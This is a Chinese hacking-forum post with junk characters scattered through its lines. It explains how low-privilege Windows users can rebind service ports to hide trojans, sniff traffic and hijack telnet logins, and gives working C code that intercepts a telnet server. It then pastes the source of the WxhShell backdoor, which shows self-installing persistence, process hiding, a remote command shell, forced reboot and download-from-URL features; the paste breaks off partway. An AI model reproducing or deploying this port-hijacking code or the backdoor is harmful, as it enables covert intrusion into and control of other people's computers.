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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4]?<hH9  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gp>3I!bo[K  
g)#W>.Asd  
  saddr.sin_family = AF_INET; (7*%K&x  
,w {e  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >, F bX8Zz  
oB}BU`-l  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); A#.edVj.g4  
,K)_OVB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 w_.F' E  
mq@6Q\Z+  
  这意味着什么?意味着可以进行如下的攻击: ii T"5`KY  
>/l? g5{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 i,>khc  
hIy~B['  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) B"h#C!E  
@ [:ZS+1  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 jrr EAp  
W>) M5t4i  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  K^1oDP  
5gYRwuf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &e E=<x  
0z1ifg&  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 U' H$`$Ov  
U{2BVqM  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 J!c)s!`w  
$xzAv{  
  #include #.rdQ,)<  
  #include b*a#<K$T_  
  #include 7m4ao K  
  #include    ^q{9  
  DWORD WINAPI ClientThread(LPVOID lpParam);   nyQ&f'<   
  int main() wPQH(~k:  
  { cG[l!Z  
  WORD wVersionRequested; .~~nUu+M  
  DWORD ret; 8&GBV_`I  
  WSADATA wsaData; 4 {y)TZ  
  BOOL val; \UPjf]&  
  SOCKADDR_IN saddr; _Gn2o2T  
  SOCKADDR_IN scaddr; Y~c|hfL  
  int err; J\+0[~~  
  SOCKET s; B^4&-z2|  
  SOCKET sc; [w0QZyUn  
  int caddsize; |XQIfW]A  
  HANDLE mt; 'GNK"XA^  
  DWORD tid;   +ieY:H[  
  wVersionRequested = MAKEWORD( 2, 2 ); @:+8?qcP  
  err = WSAStartup( wVersionRequested, &wsaData ); 6n,i0W  
  if ( err != 0 ) { +O8%Hm  
  printf("error!WSAStartup failed!\n"); ff]6aR/ UQ  
  return -1; Vr]id  
  } 8<X#f !  
  saddr.sin_family = AF_INET; B,?T%  
   %KsEB*' "  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vx>b^tJKC  
`7c~m ypx  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); % Qmn-uZ  
  saddr.sin_port = htons(23); ;D3C >7y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e|)hG8FlF  
  { CyJEY-  
  printf("error!socket failed!\n"); NP0\i1P>.?  
  return -1; T$>WE= Y  
  } 9]k @Q_  
  val = TRUE; h}[-'>{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e%svrJ2   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \nXtH}9ZF  
  { =$u! 59_dE  
  printf("error!setsockopt failed!\n"); <CS(c|7  
  return -1; l{5IUuUi  
  } "sS}N%!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ). <-X^@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j]{_s"O  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 :*I# n  
_GV:HOBi  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6V$Avg\6\  
  { N(; 1o.~  
  ret=GetLastError(); ,vr? 2k  
  printf("error!bind failed!\n"); HJ9Kz^TnC  
  return -1; t_o['F  
  } m4**~xfC  
  listen(s,2); ~5NXd)2+Ks  
  while(1) Zq^At+8+  
  { +[M6X} TQ  
  caddsize = sizeof(scaddr); [A~y%bI"  
  //接受连接请求 i`(XLi}k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); h?AS{`.1  
  if(sc!=INVALID_SOCKET) DVG(V w  
  { N:S/SZI  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); | z9*GY6RU  
  if(mt==NULL) ZGBd%RWjG_  
  { /kE6@  
  printf("Thread Creat Failed!\n"); %aHB"vi6  
  break; *{YlN}vA  
  } Bc(Y(X$PK  
  } 0]'7_vDs|  
  CloseHandle(mt); /z4$gb7Y  
  } WYHQ?  
  closesocket(s); X.OD`.!>  
  WSACleanup(); q8FTi^=Kb  
  return 0; ? E1<!~  
  }   7S-ys+  
  DWORD WINAPI ClientThread(LPVOID lpParam) MDnKX?Y  
  { G/k2Pe{SL  
  SOCKET ss = (SOCKET)lpParam; vleS2-]|  
  SOCKET sc; XeW<B0~  
  unsigned char buf[4096]; !<j'Ea  
  SOCKADDR_IN saddr; |nc@"OJ  
  long num; %>yG+Od5Z  
  DWORD val;  w^?>e;/\  
  DWORD ret; /$ w%Q-p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 n&L+wqJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   4;w;'3zq  
  saddr.sin_family = AF_INET; sQ=]NF)\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); hB "fhX  
  saddr.sin_port = htons(23); tWJZoD6}h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2POXj!N  
  { 44gPCW,u  
  printf("error!socket failed!\n"); cA2V2S)  
  return -1; - \ 5v^l  
  } O@tU.5*$5  
  val = 100; lsgh#x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ],>@";9u"  
  { ?~l6K(*2  
  ret = GetLastError();  q['Euy  
  return -1; J28M@cn  
  } Tre]"2l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;%B(_c  
  { !F*5M1Kjd  
  ret = GetLastError(); c' ^?/$H|  
  return -1; wu7Lk3  
  } srPWE^&  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <5-[{Q/2z  
  { %<)2/|lCd  
  printf("error!socket connect failed!\n"); <C_jF  
  closesocket(sc); w;;BSJ]+[  
  closesocket(ss); c>,'Y)8   
  return -1; @GPCwE1  
  } o@r7 n>G  
  while(1) Hn7_FOC  
  { s28`OKC}  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 XR8,Vt)=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 TcyNIx  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :iK(JE`   
  num = recv(ss,buf,4096,0); Bgn&:T8<  
  if(num>0) ,MdV;j ~"'  
  send(sc,buf,num,0); m.JBOq=  
  else if(num==0) j5QuAU8  
  break; .sxcCrQE  
  num = recv(sc,buf,4096,0); O)C\v F#  
  if(num>0) zE336  
  send(ss,buf,num,0); hP=WFD&  
  else if(num==0) 1[mXd  
  break; xj<Rp|7&  
  } Um }  
  closesocket(ss); .\\DKh%  
  closesocket(sc); _mzW'~9wN  
  return 0 ; O#n8=B4  
  } Htay-PB }  
ynmWW^dg  
<>n0arAn  
========================================================== >Y&N8PHD  
nxY\|@  
下边附上一个代码,,WXhSHELL u9:`4b   
Yw22z #K  
========================================================== Kh"?%ZIa  
N@;?CKU  
#include "stdafx.h" A ;G;^s  
@d^Grm8E  
#include <stdio.h> F;>V>" edl  
#include <string.h> u~r=)His  
#include <windows.h> K#l:wH _  
#include <winsock2.h> _ ?TN;  
#include <winsvc.h> @v$Y7mw3D  
#include <urlmon.h> bo<~jb{  
q?,).x nN  
#pragma comment (lib, "Ws2_32.lib") kJWn<5%ayg  
#pragma comment (lib, "urlmon.lib") b[__1E9v'  
(ScxLf=]  
#define MAX_USER   100 // 最大客户端连接数 #&cI3i  
#define BUF_SOCK   200 // sock buffer +y,T4^{  
#define KEY_BUFF   255 // 输入 buffer eiuSvyY  
E0BMv/r8b  
#define REBOOT     0   // 重启 jAGTD I  
#define SHUTDOWN   1   // 关机 'UkxS b  
"C?#SO B  
#define DEF_PORT   5000 // 监听端口 BmBj7  
g-qP;vy@"q  
#define REG_LEN     16   // 注册表键长度 &d9{k5/+\  
#define SVC_LEN     80   // NT服务名长度 c4!^nk]  
osciZ'~  
// 从dll定义API [N FFB96  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); yxonRV$&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); LO'**}vm  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); -Q2, "  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cy*?&~;  
*EI6dD"  
// wxhshell配置信息 @(l^]9(V\  
struct WSCFG { /xG*,YL/q  
  int ws_port;         // 监听端口 'z );  
  char ws_passstr[REG_LEN]; // 口令 TvwZW!@jc  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z<U6<{b  
  char ws_regname[REG_LEN]; // 注册表键名 `+`Z7  
  char ws_svcname[REG_LEN]; // 服务名 I\hh8abAp  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l_3`G-`2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息  ,t}vz 7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 M])ZK  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w;D+y*2  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gk967pC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "-y-iJ  
|HU@ >  
}; ml2_ ]3j!  
$v,dz_O*\  
// default Wxhshell configuration #XK2Ien)Z  
struct WSCFG wscfg={DEF_PORT, kTKq/G,Ft  
    "xuhuanlingzhe", ;g8R4!J  
    1, Yi .u"sh]  
    "Wxhshell", %el"BSB  
    "Wxhshell", H /,gro  
            "WxhShell Service", ()`7L|(`;q  
    "Wrsky Windows CmdShell Service", 6Vww;1 J  
    "Please Input Your Password: ", :d3bt~b'  
  1, g"Ljm7  
  "http://www.wrsky.com/wxhshell.exe", 6\L0mcXR!  
  "Wxhshell.exe" Q)"C&) `l  
    }; & SiP\65N  
Z,`iO %W  
// 消息定义模块 ,_|]Ufr!a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "ZHW2l Mf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |]QqXE-7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v. %R}Pa  
char *msg_ws_ext="\n\rExit."; )i q-yjO6  
char *msg_ws_end="\n\rQuit."; D@G\7 KH@  
char *msg_ws_boot="\n\rReboot..."; )64@2 ~4y  
char *msg_ws_poff="\n\rShutdown..."; BeCWa>54i  
char *msg_ws_down="\n\rSave to "; ^ K|;~}P  
%R1tJ(/  
char *msg_ws_err="\n\rErr!"; H&F9J ^rC  
char *msg_ws_ok="\n\rOK!"; A01AlK_B  
C?ulj9=Z  
char ExeFile[MAX_PATH]; 0MV>"aV  
int nUser = 0; (]_1  
HANDLE handles[MAX_USER]; 7:A x(El  
int OsIsNt; ;_8#f%Y#R  
0- ><q  
SERVICE_STATUS       serviceStatus; (Lo%9HZ1Mx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b:=TB0Fx?n  
5'0xz.)!  
// 函数声明 X_qf"|i  
int Install(void); g wz7krUTe  
int Uninstall(void); rX*H)3F  
int DownloadFile(char *sURL, SOCKET wsh); ;g6M%;1-  
int Boot(int flag); *eIJwXE  
void HideProc(void); .R)PJc5^  
int GetOsVer(void); x??pBhJH  
int Wxhshell(SOCKET wsl); ]DZE%  
void TalkWithClient(void *cs); {)DHH:n  
int CmdShell(SOCKET sock); ktK_e  
int StartFromService(void); ~CtL9m3tO  
int StartWxhshell(LPSTR lpCmdLine); <$6QDfa#  
p7);uF^O%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~CVe yk< (  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nM\eDNK  
Ys -T0  
// 数据结构和表定义 ,\X@~ j  
SERVICE_TABLE_ENTRY DispatchTable[] = >a"Z\\dF  
{ GQ*wc?f3  
{wscfg.ws_svcname, NTServiceMain}, u4.ngjJ  
{NULL, NULL} ,B08i o-  
}; SaC d0. h  
7uT:b!^f[  
// 自我安装 a UxGzMZ  
int Install(void) Kh(ZU^{n  
{ .U"8mP=&  
  char svExeFile[MAX_PATH]; 7~9S 9  
  HKEY key; ygeDcnvR]  
  strcpy(svExeFile,ExeFile); U`,0]"Qk  
\(VTt|}By$  
// 如果是win9x系统,修改注册表设为自启动 bfA=3S"0  
if(!OsIsNt) { _FXZm50\g{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  ]E_h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <WjF*x p  
  RegCloseKey(key); Vm5c+;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Qd=^S^}(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V?Z.\~  
  RegCloseKey(key); OS4q5;1#  
  return 0; # S}Z8  
    } [~kdPk  
  } 48jVRo  
} N-jTc?mT~&  
else { "8 ~:[G#  
Glxuz0]  
// 如果是NT以上系统,安装为系统服务 N;Dni#tQ`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z^_*&  
if (schSCManager!=0) `Q+ (LBP  
{ s"9`s_p`d  
  SC_HANDLE schService = CreateService I&MY{f  
  ( a\IP12F?  
  schSCManager, *5 |)-E  
  wscfg.ws_svcname, u)3 $~m~  
  wscfg.ws_svcdisp, &=<x#h-  
  SERVICE_ALL_ACCESS, g8Q5m=O*  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Gu%U$d  
  SERVICE_AUTO_START, N>Eqj>G  
  SERVICE_ERROR_NORMAL, `(v='$6}  
  svExeFile, O=v#{ [  
  NULL, -od!J\ KCy  
  NULL, fbWFLS m;  
  NULL, L f"i !  
  NULL, y;t6sM@  
  NULL @[#$J0q q  
  ); s <   
  if (schService!=0) W?0 lV5/  
  { YoN*:jB<M  
  CloseServiceHandle(schService); bV edFm  
  CloseServiceHandle(schSCManager); P~s$EJL*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D'L'#/hK  
  strcat(svExeFile,wscfg.ws_svcname); 4J;-Dq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zG' "9kJx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }Ow>dV?  
  RegCloseKey(key); Zq,9&y~  
  return 0; d)@<W1;  
    } G P:FSprP  
  } ?."&MZ  
  CloseServiceHandle(schSCManager); $U$V?x uE  
} |+35y_i6  
} z\0 CE]#T  
tp6M=MC%  
return 1; ,ldI2 ]  
} KhCzD[tf  
VOc8q-hK  
// 自我卸载 Ypeiy `.  
int Uninstall(void) U~} U\_  
{ HDda@Jy  
  HKEY key; {fha`i  
pl5P2&k  
if(!OsIsNt) { Tneq6>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JC}f-%H?K  
  RegDeleteValue(key,wscfg.ws_regname); A a= u+  
  RegCloseKey(key); t~E<j+<2B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t6,wjN-J  
  RegDeleteValue(key,wscfg.ws_regname); e'*`.^  
  RegCloseKey(key); yz-,)GB6  
  return 0; b B  x?  
  } 4Sm]>%F':  
} % r-V2)  
} p. R2gl1m  
else { 3' ~gvi I  
B|C/ Rk6?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +$$$  
if (schSCManager!=0) #'-Sh7ycW  
{ .s<*'B7&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `6[I^qG".  
  if (schService!=0) ^K7ic,{  
  { %.<H=!$  
  if(DeleteService(schService)!=0) { JOb*-q|y  
  CloseServiceHandle(schService); j:}J}P  
  CloseServiceHandle(schSCManager); :}h>by=  
  return 0;  QV h4  
  }  6\u!E~zy  
  CloseServiceHandle(schService); h)6GaJ=  
  } *\wp?s>-t  
  CloseServiceHandle(schSCManager); < -uc."6\  
} bae\Zk%`^  
} }<>~sy  
1VF    
return 1; nI/kw%<  
} 3#vinz  
T;diNfgg  
// 从指定url下载文件 s-Aw<Q)d  
int DownloadFile(char *sURL, SOCKET wsh) :LWn<,4F&  
{ RbGJ)K!  
  HRESULT hr; 9prU+9  
char seps[]= "/"; SFb{o <0 =  
char *token; nLwiCf e  
char *file; Cv>o.Bp|  
char myURL[MAX_PATH]; iweD @b  
char myFILE[MAX_PATH]; 'S<%Xm  
L>!8YUz7p$  
strcpy(myURL,sURL); TDg@Tg0  
  token=strtok(myURL,seps); ^pS+/ZSi^  
  while(token!=NULL) !PMU O\y  
  { & SAH2xR  
    file=token; \X F}?*8  
  token=strtok(NULL,seps); |+:h|UIUQ  
  } Z2Zq'3*  
2[B4f7  
GetCurrentDirectory(MAX_PATH,myFILE); SR^_cpZoi  
strcat(myFILE, "\\"); kF{*(r=.o  
strcat(myFILE, file); &(z fa&j|  
  send(wsh,myFILE,strlen(myFILE),0); aZet0?Qr  
send(wsh,"...",3,0); Aj9Ji"18za  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); hKNY+S})g  
  if(hr==S_OK) h 6%[q x<  
return 0; R*zO dxY  
else !j1[$% =#  
return 1; ygS L  
R8-^RvG  
} R//$r%a  
2oZ9laJO  
// 系统电源模块 X 6 lH|R  
int Boot(int flag) ;' nL:\  
{ >sD4R}\})  
  HANDLE hToken; w-b' LP  
  TOKEN_PRIVILEGES tkp; Vvt  ;  
Kzb`$CGK  
  if(OsIsNt) { R0;ef D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Nwc!r (  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); joXfmHB}  
    tkp.PrivilegeCount = 1; 16X@^j_   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P F`rWw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {SZ% Xbo  
if(flag==REBOOT) { Fl{WAg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) LF?P> 1%-  
  return 0; :%JC^dV(  
} T#!lPH :&h  
else { #.5vC5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y/? &pKH^  
  return 0; SQWafD  
} J4 tcQ  
  } a$9A(Pte  
  else { 3Z>YV]YbeU  
if(flag==REBOOT) { JI|6B  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ogg#jx(4  
  return 0; 'R9g7,53R  
} |xr\H8:(!  
else { 1%J.WH6eQ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `Zz uo16  
  return 0; ;pJ2V2 g8  
} ogeL[7  
} h?UVDzI!O  
a :HNg  
return 1; ;`v% sx#  
} wP"q<W g  
h:/1X' 3d  
// win9x进程隐藏模块 cPn+<M#  
void HideProc(void) ,>LRa  
{ la$%H<,7  
MS<SAD>w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =l942p  
  if ( hKernel != NULL ) d"~(T:=r  
  { rrs"N3!aT  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E1Q0k5@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e kQrW%\3  
    FreeLibrary(hKernel); BF8"rq}r0  
  } X6RQqen3:  
Uh|>Skic4  
return; GZ }/leR  
} BRbV7&  
6'OO-o  
// 获取操作系统版本 XidxNPz0^  
int GetOsVer(void) {hqAnZ@]vr  
{ :Gh~fm3}  
  OSVERSIONINFO winfo; ad n|N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \&}G]  
  GetVersionEx(&winfo); jN/C'\Q L  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nm]% }  
  return 1; uD>z@J-v  
  else S<6k0b(,_3  
  return 0; S{p}ux[}=  
} .dq "k  
N<JHjq  
// 客户端句柄模块 vz`@x45K  
int Wxhshell(SOCKET wsl) 59B&2861  
{ 6ri#Lw  
  SOCKET wsh; 8 #oR/Nt  
  struct sockaddr_in client; #Ogt(5Sd  
  DWORD myID; |$hgT K[L  
Erb Sl  
  while(nUser<MAX_USER) ,#'7)M D8  
{ 8*!|8 BPj^  
  int nSize=sizeof(client); R[A5JQ$[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _MYx%Z  
  if(wsh==INVALID_SOCKET) return 1; ;?IT)sNY  
`Y3(~~YGn  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }qC SS<a  
if(handles[nUser]==0) H3 m8  
  closesocket(wsh); 3vJ12=  
else }X$l\pm  
  nUser++; $W!]fcZlB  
  } . %(^mK)zQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <9@7,2  
S2=%x.  
  return 0; 0^_MN~s(X  
} 3;$bS<>  
PDw{R]V+  
// 关闭 socket BSXdvI1y  
void CloseIt(SOCKET wsh) ]1fZupM^6  
{ "D> ]ES%5  
closesocket(wsh); ValS8V*N1  
nUser--;  pbB2wt  
ExitThread(0); &v# `t~  
} : d'65KMi  
[}""@?  
// 客户端请求句柄 ,5-Zb3\  
void TalkWithClient(void *cs) ?ow'^X-  
{ ;;LuU<,$  
aIGn9:\  
  SOCKET wsh=(SOCKET)cs; _J"mR]I+  
  char pwd[SVC_LEN]; &?a.mh/8[[  
  char cmd[KEY_BUFF]; IUhp;iH  
char chr[1]; (iDBhC;/B  
int i,j; b%0BkS*  
I}:L]H{E  
  while (nUser < MAX_USER) { %{ ~>n"  
INLf#  N  
if(wscfg.ws_passstr) { \ sf!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e`DsP8-&v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Oje|bxQ  
  //ZeroMemory(pwd,KEY_BUFF); H2\1gNL  
      i=0; sX'U|)/pD  
  while(i<SVC_LEN) { 1*R_"#  
1=TSJ2{ 9  
  // 设置超时 MTB@CP!u  
  fd_set FdRead; =jIxI,  
  struct timeval TimeOut; sC6r.@[u8t  
  FD_ZERO(&FdRead); Z>{*ISvpq  
  FD_SET(wsh,&FdRead); x*mc -&N  
  TimeOut.tv_sec=8; }|He?[TR  
  TimeOut.tv_usec=0; ib50LCm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3}M \c)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5!:._TcO  
75(W(V(q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @f=RL)$|  
  pwd=chr[0]; vb}/@F,Q5  
  if(chr[0]==0xd || chr[0]==0xa) { nL;K|W  
  pwd=0; XqFu(Lm8=  
  break; Rrz'(KSDw  
  } U+!UL5k  
  i++; wG:$6  
    } UT-ewXh  
pYGYy'%A'  
  // 如果是非法用户,关闭 socket D%GGu"@GO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~j}J<4&OvC  
} ]S]"`;Wh  
q6)p*}-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b3^R,6]x&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }B*,mn2N  
9L=;KtE1  
while(1) { | M _%QM.  
)=(n/vckM  
  ZeroMemory(cmd,KEY_BUFF); O2@" w23  
Q2R-z^pd  
      // 自动支持客户端 telnet标准   H:E5xz3VQ  
  j=0; ris;Iu^v0  
  while(j<KEY_BUFF) { xc *!W*04  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u S(@?m$  
  cmd[j]=chr[0]; [#zE. TW  
  if(chr[0]==0xa || chr[0]==0xd) { T:@7 S  
  cmd[j]=0; Bb_}YU2#  
  break; Uk"Y/Ddm  
  } 6 <r2*`  
  j++; 09x+Tko9;*  
    } =u[rOU{X"W  
|<QI%Y$dr  
  // 下载文件 wjg}[R@!  
  if(strstr(cmd,"http://")) { >~>{;Wq(p+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); dWIZ37w+D  
  if(DownloadFile(cmd,wsh)) |3"NwM>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $OT}`Te~  
  else E.4n}s  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B^Bbso'{1  
  } I-,Xwj-  
  else { ?V6 %>RU  
[M<{P5q  
    switch(cmd[0]) { (-#rFO5~l  
  dd19z%  
  // 帮助 Vy&f"4~  
  case '?': { G$S1#F -  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); cC' ^T6  
    break; l92!2$]b  
  } $ #t|(\  
  // 安装 XzN-slu!  
  case 'i': { xf[z EEt  
    if(Install()) @qpYDnJ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JYl\<Z' {  
    else ,Os7T 1>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9DY|Sa]#=  
    break; D'85VZEFyo  
    } wFn@\3%l`  
  // 卸载 AE]i V{p  
  case 'r': { )fy <P;g  
    if(Uninstall()) ~t$mw,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w64.R4e  
    else A/ hpY a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S]5VEn;pV  
    break; N!.kq4$.  
    } rSzQUn<  
  // 显示 wxhshell 所在路径 jaL$LJV  
  case 'p': { EI%M Azj}  
    char svExeFile[MAX_PATH]; x$*E\/zi<!  
    strcpy(svExeFile,"\n\r"); K:Mujx:  
      strcat(svExeFile,ExeFile); 4LJ]l:m  
        send(wsh,svExeFile,strlen(svExeFile),0); BQ5_s,VM  
    break; b-,]A2.  
    } zZ<ns+h  
  // 重启 D l4d'&!  
  case 'b': { \}U[}5Pk&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); wK2yt?  
    if(Boot(REBOOT)) <[/PyNYK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]VzqQ=U%  
    else { @*bvMEE  
    closesocket(wsh); d?Ia#K9 3G  
    ExitThread(0); &S9f#Ui  
    } NW }>pb9  
    break; &NlS  =  
    } AB/,S  
  // 关机 )PsN_ 42~  
  case 'd': { DxE^#=7iH;  
